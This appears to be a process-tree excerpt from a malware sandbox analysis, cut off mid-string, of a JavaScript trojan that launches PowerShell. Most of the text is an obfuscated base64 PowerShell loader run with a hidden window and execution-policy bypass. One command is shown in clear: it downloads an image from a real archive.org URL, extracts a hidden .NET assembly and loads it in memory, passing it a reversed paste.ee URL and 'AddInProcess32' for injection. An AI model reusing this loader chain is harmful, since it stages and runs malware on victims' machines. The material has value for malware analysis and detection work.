☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trojan.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ 